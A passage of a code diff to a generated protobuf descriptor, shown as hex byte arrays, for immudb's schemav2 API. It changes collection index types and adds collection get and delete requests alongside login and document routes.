0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x22, 0x62, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x0f, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, + 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, + 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, + 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, + 0x70, 0x22, 0xa7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x5b, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, + 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, 0x0a, 0x09, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, - 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa3, 0x03, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, - 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, - 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, - 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, + 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, + 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x03, 0x0a, 0x15, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x4b, 0x65, 0x79, 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, + 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, + 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x17, - 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x48, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, + 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x48, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, + 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x38, 0x0a, 0x11, 0x50, 0x6f, 0x73, + 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, + 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, + 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, + 0x47, 0x10, 0x02, 0x32, 0xd3, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, + 0x69, 0x63, 0x65, 0x56, 0x32, 0x12, 0x76, 0x0a, 0x07, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x56, 0x32, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, + 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, + 0x32, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x73, 0x79, 0x73, 0x74, + 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x81, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x8d, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x94, 0x01, 0x0a, 0x10, 